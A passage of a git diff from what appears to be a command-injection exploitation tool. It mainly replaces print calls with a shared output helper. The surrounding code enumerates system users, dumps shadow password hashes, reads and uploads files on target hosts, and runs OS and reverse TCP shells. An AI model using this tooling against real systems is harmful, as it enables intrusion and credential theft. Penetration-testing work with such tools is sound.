sys_users).strip() - print(sys_users) + settings.print_data_to_stdout(sys_users) with open(filename, 'a') as output_file: if not menu.options.no_logging: output_file.write(" " + sys_users) @@ -2261,11 +2261,11 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi sys_users_list.append(sys_users[user : user + 3]) if len(sys_users_list) != 0 : if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) info_msg = "Identified operating system" info_msg += " user" + ('s', '')[len(sys_users_list) == 1] info_msg += " [" + str(len(sys_users_list)) + "]:" - print(settings.print_bold_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. with open(filename, 'a') as output_file: if not menu.options.no_logging: @@ -2304,7 +2304,7 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi else : is_privileged = "" is_privileged_nh = "" - print(settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "' " + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") + settings.print_data_to_stdout(settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "' " + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") # Add infos to logs file. with open(filename, 'a') as output_file: if not menu.options.no_logging: @@ -2315,22 +2315,22 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi if count == 1 : warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is not in the " warn_msg += "appropriate format. Thus, it is expoted as a text file." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) sys_users = " ".join(str(p) for p in sys_users.split(":")) - print(sys_users) + settings.print_data_to_stdout(sys_users) with open(filename, 'a') as output_file: if not menu.options.no_logging: output_file.write(" " + sys_users) else: warn_msg = "It seems that you don't have permissions " warn_msg += "to read the content of the file '" + settings.PASSWD_FILE + "'." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) except TypeError: pass except IndexError: warn_msg = "Some kind of WAF/IPS probably blocks the attempt to read '" warn_msg += settings.PASSWD_FILE + "' to enumerate operating system users." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) pass """ @@ -2342,11 +2342,11 @@ def print_passes(sys_passes, filename, _, alter_shell): sys_passes = sys_passes.replace(settings.SINGLE_WHITESPACE, "\n").split() if len(sys_passes) != 0 : if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) info_msg = "Identified operating system" info_msg += " user" + ('s', '')[len(sys_passes) == 1] info_msg += " password hashes [" + str(len(sys_passes)) + "]:" - print(settings.print_bold_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. with open(filename, 'a') as output_file: if not menu.options.no_logging: @@ -2358,7 +2358,7 @@ def print_passes(sys_passes, filename, _, alter_shell): if ":" in line: fields = line.split(":") if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "": - print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) + settings.print_data_to_stdout(" (" +str(count)+ ") " + Style.BRIGHT + fields[0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) # Add infos to logs file. with open(filename, 'a') as output_file: if not menu.options.no_logging: @@ -2370,15 +2370,15 @@ def print_passes(sys_passes, filename, _, alter_shell): if count == 1 : warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not " warn_msg += "in the appropriate format. Thus, it is expoted as a text file." - print(settings.print_warning_msg(warn_msg)) - print(fields[0]) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(fields[0]) with open(filename, 'a') as output_file: if not menu.options.no_logging: output_file.write(" " + fields[0]) else: warn_msg = "It seems that you don't have permissions " warn_msg += "to read the content of the file '" + settings.SHADOW_FILE + "'." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ Print single OS command @@ -2386,7 +2386,7 @@ def print_passes(sys_passes, filename, _, alter_shell): def print_single_os_cmd(cmd, output, filename): if len(output) > 1: _ = "'" + cmd + "' execution output" - print(settings.print_retrieved_data(_, output)) + settings.print_data_to_stdout(settings.print_retrieved_data(_, output)) try: with open(filename, 'a') as output_file: if not menu.options.no_logging: @@ -2395,7 +2395,7 @@ def print_single_os_cmd(cmd, output, filename): pass else: err_msg = common.invalid_cmd_output(cmd) - print(settings.print_error_msg(err_msg)) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) """ Quote provided cmd @@ -2503,7 +2503,7 @@ def file_content_to_read(): file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() info_msg = "Fetching content of the file: '" info_msg += file_to_read + "'." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.WIN_FILE_READ + file_to_read.replace("\\","\\\\") else: @@ -2519,7 +2519,7 @@ def file_content_to_read(): def file_read_status(shell, file_to_read, filename): if shell: _ = "Fetched file content" - print(settings.print_retrieved_data(_, shell)) + settings.print_data_to_stdout(settings.print_retrieved_data(_, shell)) with open(filename, 'a') as output_file: if not menu.options.no_logging: info_msg = "Extracted content of the file '" @@ -2528,7 +2528,7 @@ def file_read_status(shell, file_to_read, filename): else: warn_msg = "It seems that you don't have permissions " warn_msg += "to read the content of the file '" + file_to_read + "'." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ Check upload/write destination @@ -2555,7 +2555,7 @@ def check_file_to_write(): file_to_write = menu.options.file_write.encode(settings.DEFAULT_CODEC).decode() if not os.path.exists(file_to_write): err_msg = "It seems that the provided local file '" + file_to_write + "' does not exist." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() if os.path.isfile(file_to_write): @@ -2567,13 +2567,13 @@ def check_file_to_write(): content = base64.b64encode(content.encode(settings.DEFAULT_CODEC)).decode() else: warn_msg = "It seems that '" + file_to_write + "' is not a file." - print(settings.print_warning_msg(warn_msg)) - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) dest_to_write = check_destination(destination=menu.options.file_dest) info_msg = "Trying to write the content of the file '" info_msg += file_to_write + "' on a remote directory '" + dest_to_write + "'." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) return file_to_write, dest_to_write, content """ @@ -2582,10 +2582,10 @@ def check_file_to_write(): def file_write_status(shell, dest_to_write): if shell: info_msg = "The file has been successfully created on remote directory: '" + dest_to_write + "'." - print(settings.print_bold_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) else: warn_msg = "It seems that you don't have permissions to write files on the remote directory '" + dest_to_write + "'." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ File upload procedure. @@ -2596,16 +2596,16 @@ def check_file_to_upload(): _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT) except _urllib.error.HTTPError as err_msg: warn_msg = "It seems that the '" + file_to_upload + "' file, does not exist. (" +str(err_msg)+ ")" - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) raise SystemExit() except ValueError as err_msg: err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1] - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() dest_to_upload = check_destination(destination=menu.options.file_dest) info_msg = "Trying to upload the file from '" info_msg += file_to_upload + "' on a remote directory '" + dest_to_upload + "'." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) # Execute command cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload return cmd, dest_to_upload @@ -2616,10 +2616,10 @@ def check_file_to_upload(): def file_upload_status(shell, dest_to_upload): if shell: info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'." - print(settings.print_bold_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) else: warn_msg = "It seems that you don't have permissions to upload files on the remote directory '" + dest_to_upload + "'." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ Check if defined "--file-upload" option. @@ -2637,7 +2637,7 @@ def file_upload(): # Check if file exists if not os.path.isfile(menu.options.file_upload): err_msg = "The '" + menu.options.file_upload + "' file, does not exist." - sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() # Setting the local HTTP server. @@ -2649,7 +2649,7 @@ def file_upload(): ip_check = simple_http_server.is_valid_ipv4(ip_addr) if ip_check == False: err_msg = "The provided IP address seems not valid." - print(settings.print_error_msg(err_msg)) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) pass else: settings.LOCAL_HTTP_IP = ip_addr @@ -2658,12 +2658,12 @@ def file_upload(): # Check for invalid HTTP server's port. if settings.LOCAL_HTTP_PORT < 1 or settings.LOCAL_HTTP_PORT > 65535: err_msg = "Invalid HTTP server's port (" + str(settings.LOCAL_HTTP_PORT) + ")." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() http_server = "http://" + str(settings.LOCAL_HTTP_IP) + ":" + str(settings.LOCAL_HTTP_PORT) info_msg = "Setting the HTTP server on '" + http_server + "/'. " - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) menu.options.file_upload = http_server + menu.options.file_upload simple_http_server.main() break @@ -2671,7 +2671,7 @@ def file_upload(): elif enable_HTTP_server in settings.CHOICE_NO: if not re.match(settings.VALID_URL_FORMAT, menu.options.file_upload): err_msg = "The provided '--file-upload' option requires the activation of a local HTTP server." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() break elif enable_HTTP_server in settings.CHOICE_QUIT: @@ -2688,20 +2688,20 @@ def check_wrong_flags(): if menu.options.is_root : warn_msg = "Swithing '--is-root' to '--is-admin' because the " warn_msg += "target has been identified as Windows." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) if menu.options.passwords: warn_msg = "The '--passwords' option, is not yet supported Windows targets." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) if menu.options.file_upload : warn_msg = "The '--file-upload' option, is not yet supported Windows targets. " warn_msg += "Instead, use the '--file-write' option." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) raise SystemExit() else: if menu.options.is_admin : warn_msg = "Swithing the '--is-admin' to '--is-root' because " warn_msg += "the target has been identified as Unix-like. " - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ Set writable path name @@ -2709,10 +2709,10 @@ def check_wrong_flags(): def setting_writable_dir(path): if settings.VERBOSITY_LEVEL != 0: debug_msg = "Using '" + path + "' for writable directory." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) info_msg = "Trying to create a file in directory '" + path info_msg += "' for command execution output. " - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) """ Define python working dir (for windows targets) @@ -2789,16 +2789,16 @@ def identified_vulnerable_param(url, technique, injection_type, vuln_parameter, if not settings.LOAD_SESSION: if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) else: total_of_requests() # Print the findings to terminal. info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via " info_msg += "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." - print(settings.print_bold_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) sub_content = str(url_decode(payload)) - print(settings.print_sub_content(sub_content)) + settings.print_data_to_stdout(settings.print_sub_content(sub_content)) # eof \ No newline at end of file diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 155b743aa1..fff76ed528 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -83,7 +83,7 @@ def heuristic_request(url, http_request_method, check_parameter, payload, whites payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) payload = checks.perform_payload_modification(payload) if settings.VERBOSITY_LEVEL >= 1: - print(settings.print_payload(payload)) + settings.print_data_to_stdout(settings.print_payload(payload)) if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: payload = checks.payload_fixation(payload) cookie = menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) @@ -135,7 +135,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, settings.TARGET_OS = settings.OS.WINDOWS info_msg = "Heuristic (basic) tests shows that " info_msg += settings.CHECKING_PARAMETER + " might be injectable (possible OS: '" + possible_os + "')." - print(settings.print_bold_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) settings.SKIP_CODE_INJECTIONS = True break @@ -143,7 +143,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, return url except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg: - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() """ @@ -174,14 +174,14 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: info_msg = "Heuristic (basic) tests shows that " info_msg += settings.CHECKING_PARAMETER + " might be injectable via " + technique + "." - print(settings.print_bold_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) break settings.EVAL_BASED_STATE = False return url except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg: - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() """ @@ -314,18 +314,18 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time settings.CHECKING_PARAMETER = "(custom) " + settings.CHECKING_PARAMETER info_msg = "Setting " + settings.CHECKING_PARAMETER + " for tests." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) if menu.options.skip_heuristics: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Skipping heuristic (basic) tests to the " + settings.CHECKING_PARAMETER + "." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) else: if not settings.LOAD_SESSION: checks.recognise_payload(payload=settings.TESTABLE_VALUE) if settings.VERBOSITY_LEVEL != 0: debug_msg = "Performing heuristic (basic) tests to the " + settings.CHECKING_PARAMETER + "." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) if not (len(menu.options.tech) == 1 and "e" in menu.options.tech): url = command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) @@ -340,12 +340,12 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time settings.HEURISTIC_TEST.POSITIVE = False warn_msg = "Heuristic (basic) tests shows that " warn_msg += settings.CHECKING_PARAMETER + " might not be injectable." - print(settings.print_bold_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg)) if (menu.options.smart and not settings.HEURISTIC_TEST.POSITIVE) or (menu.options.smart and menu.options.skip_heuristics): info_msg = "Skipping " info_msg += settings.CHECKING_PARAMETER + "." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) settings.HEURISTIC_TEST.POSITIVE = True else: if menu.options.failed_tries and \ @@ -354,7 +354,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time warn_msg = "Due to the provided (unsuitable) injection technique" warn_msg += "s"[len(menu.options.tech) == 1:][::-1] + ", " warn_msg += "the option '--failed-tries' will be ignored." - print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) # Procced with file-based semiblind command injection technique, # once the user provides the path of web server's root directory. @@ -375,7 +375,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time warn_msg = "The tested " warn_msg += settings.CHECKING_PARAMETER warn_msg += " does not seem to be injectable." - print(settings.print_bold_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg)) if not settings.CHECK_BOTH_OS: break @@ -661,14 +661,14 @@ def perform_checks(url, http_request_method, filename): # Check if authentication page is the same with the next (injection) URL if _urllib.request.urlopen(url, timeout=settings.TIMEOUT).read() == _urllib.request.urlopen(menu.options.auth_url, timeout=settings.TIMEOUT).read(): err_msg = "It seems that the authentication procedure has failed." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg: - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() elif menu.options.auth_url or menu.options.auth_data: err_msg = "You must specify both login panel URL and login parameters." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() else: pass @@ -724,13 +724,13 @@ def do_check(url, http_request_method, filename): if not menu.options.tech or "t" in menu.options.tech or "f" in menu.options.tech: warn_msg = "It is highly recommended to avoid usage of switch '--tor' for " warn_msg += "time-based injections because of inherent high latency time." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) # Check for "backticks" tamper script. if settings.USE_BACKTICKS == True: if not menu.options.tech or "e" in menu.options.tech or "t" in menu.options.tech or "f" in menu.options.tech: warn_msg = "Commands substitution using backtics is only supported by the (results-based) classic command injection technique. " - print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) perform_checks(url, http_request_method, filename) @@ -762,7 +762,7 @@ def do_check(url, http_request_method, filename): err_msg += "." if settings.MULTI_TARGETS: err_msg += " Skipping to the next target." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) else: logs.print_logs_notification(filename, url) if not settings.MULTI_TARGETS: diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index fd261fd8ea..a004bcb361 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -33,7 +33,6 @@ def logfile_parser(): Warning message for mutiple request in same log file. """ def multi_requests(): - print(settings.SINGLE_WHITESPACE) err_msg = "Multiple" if menu.options.requestfile: err_msg += " requests" @@ -45,8 +44,8 @@ def multi_requests(): elif menu.options.logfile: err_msg += " targets " err_msg += "will be ignored." - sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + return False """ @@ -56,7 +55,7 @@ def invalid_data(request): err_msg = "Specified file " err_msg += "'" + os.path.split(request_file)[1] + "'" err_msg += " does not contain a valid HTTP request." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() if menu.options.requestfile: @@ -68,7 +67,7 @@ def invalid_data(request): if not os.path.exists(request_file): err_msg = "It seems that the '" + request_file + "' file, does not exist." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() try: @@ -99,8 +98,7 @@ def invalid_data(request): except IOError as err_msg: error_msg = "The '" + request_file + "' " error_msg += str(err_msg.args[1]).lower() + "." - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(error_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) raise SystemExit() single_request = True @@ -146,10 +144,9 @@ def invalid_data(request): menu.options.auth_cred = base64.b64decode(auth_provided[1]).decode() elif menu.options.auth_type.lower() == settings.AUTH_TYPE.DIGEST: if not menu.options.auth_cred: - print(settings.SINGLE_WHITESPACE) err_msg = "Use the '--auth-cred' option to provide a valid pair of " err_msg += "HTTP authentication credentials (i.e --auth-cred=\"admin:admin\") " - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() # Add extra headers @@ -177,19 +174,17 @@ def invalid_data(request): request_url = request_url.replace(scheme, scheme + menu.options.host) request_url = checks.check_http_s(request_url) info_msg += "using the '" + os.path.split(request_file)[1] + "' file. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + menu.options.url = request_url - if single_request: - print(settings.SINGLE_WHITESPACE) if menu.options.logfile and settings.VERBOSITY_LEVEL != 0: sub_content = http_method + settings.SINGLE_WHITESPACE + menu.options.url - print(settings.print_sub_content(sub_content)) + settings.print_data_to_stdout(settings.print_sub_content(sub_content)) if menu.options.cookie: sub_content = "Cookie: " + menu.options.cookie - print(settings.print_sub_content(sub_content)) + settings.print_data_to_stdout(settings.print_sub_content(sub_content)) if menu.options.data: sub_content = "POST data: " + menu.options.data - print(settings.print_sub_content(sub_content)) + settings.print_data_to_stdout(settings.print_sub_content(sub_content)) # eof \ No newline at end of file diff --git a/src/core/injections/controller/shell_options.py b/src/core/injections/controller/shell_options.py index 3bb02b5ad4..1696cd0b20 100755 --- a/src/core/injections/controller/shell_options.py +++ b/src/core/injections/controller/shell_options.py @@ -36,10 +36,10 @@ def check_established_connection(): while True: time.sleep(1) if settings.VERBOSITY_LEVEL == 1: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) warn_msg = "Something went wrong with the reverse TCP connection." warn_msg += " Please wait while checking state." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) lines = os.popen('netstat -anta').read().split("\n") for line in lines: if settings.LHOST + ":" + settings.LPORT in line and "ESTABLISHED" in line: @@ -78,11 +78,11 @@ def execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_ check_established_connection() else: if settings.VERBOSITY_LEVEL == 1: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "The " + os_shell_option.split("_")[0] + " " err_msg += os_shell_option.split("_")[1].upper() + " connection has failed." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) """ Configure the bind TCP shell @@ -166,7 +166,7 @@ def check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_m # The "os_shell" option elif os_shell_option == "os_shell": warn_msg = "You are into the '" + os_shell_option + "' mode." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) return go_back, go_back_again # The "bind_tcp" option diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index 7132c2eb2b..e2b74a8529 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -119,7 +119,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: - print(settings.print_payload(payload)) + settings.print_data_to_stdout(settings.print_payload(payload)) # Cookie header injection if settings.COOKIE_INJECTION == True: @@ -168,14 +168,14 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ checks.injection_process(injection_type, technique, percent) except (KeyboardInterrupt, SystemExit): - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) raise except EOFError: if settings.STDIN_PARSING: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "Exiting, due to EOFError." - print(settings.print_error_msg(err_msg)) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) raise except: @@ -217,13 +217,13 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ else: gotshell = common.read_input(message, default="n", check_batch=True) if gotshell in settings.CHOICE_YES: - print(settings.OS_SHELL_TITLE) + settings.print_data_to_stdout(settings.OS_SHELL_TITLE) if settings.READLINE_ERROR: checks.no_readline_module() while True: if not settings.READLINE_ERROR: checks.tab_autocompleter() - sys.stdout.write(settings.OS_SHELL) + settings.print_data_to_stdout(settings.END_LINE.CR + settings.OS_SHELL) cmd = common.read_input(message="", default="os_shell", check_batch=True) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: @@ -246,7 +246,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ shell = cb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) except: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) continue if not menu.options.ignore_session : session_handler.store_cmd(url, cmd, shell, vuln_parameter) @@ -256,10 +256,10 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ shell = unescape(shell) # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, shell) - print(settings.command_execution_output(shell)) + settings.print_data_to_stdout(settings.command_execution_output(shell)) else: err_msg = common.invalid_cmd_output(cmd) - print(settings.print_error_msg(err_msg)) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector(technique, go_back) == True: break @@ -279,18 +279,18 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ except EOFError: if settings.STDIN_PARSING: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "Exiting, due to EOFError." - print(settings.print_error_msg(err_msg)) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) raise if no_result == True: if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) return False else: - sys.stdout.write("\r") - sys.stdout.flush() + settings.print_data_to_stdout(settings.END_LINE.CR) + """ The exploitation function. diff --git a/src/core/injections/results_based/techniques/classic/cb_injector.py b/src/core/injections/results_based/techniques/classic/cb_injector.py index b9aaa2d3fa..ab5f94b3c1 100755 --- a/src/core/injections/results_based/techniques/classic/cb_injector.py +++ b/src/core/injections/results_based/techniques/classic/cb_injector.py @@ -174,9 +174,8 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: debug_msg = "Executing the '" + cmd + "' command. " - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() - sys.stdout.write("\n" + settings.print_payload(payload) + "\n") + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_payload(payload)) # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: @@ -254,7 +253,7 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques tries = tries + 1 else: err_msg = "Something went wrong, the request has failed (" + str(tries) + ") times continuously." - sys.stdout.write(settings.print_critical_msg(err_msg)+"\n") + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() return response @@ -275,11 +274,11 @@ def injection_results(response, TAG, cmd): # Replace non-ASCII characters with a single space re.sub(r"[^\x00-\x7f]",r" ", html_data) - for end_line in settings.END_LINE: + for end_line in settings.END_LINES_LIST: if end_line in html_data: html_data = html_data.replace(end_line, settings.SINGLE_WHITESPACE) break - + shell = re.findall(r"" + TAG + TAG + "(.*)" + TAG + TAG + settings.SINGLE_WHITESPACE, html_data) if not shell: shell = re.findall(r"" + TAG + TAG + "(.*)" + TAG + TAG + "", html_data) diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index 316b4394c7..98524a86c4 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -132,7 +132,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: - print(settings.print_payload(payload)) + settings.print_data_to_stdout(settings.print_payload(payload)) # Cookie header injection if settings.COOKIE_INJECTION == True: @@ -180,14 +180,14 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ checks.injection_process(injection_type, technique, percent) except (KeyboardInterrupt, SystemExit): - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) raise except EOFError: if 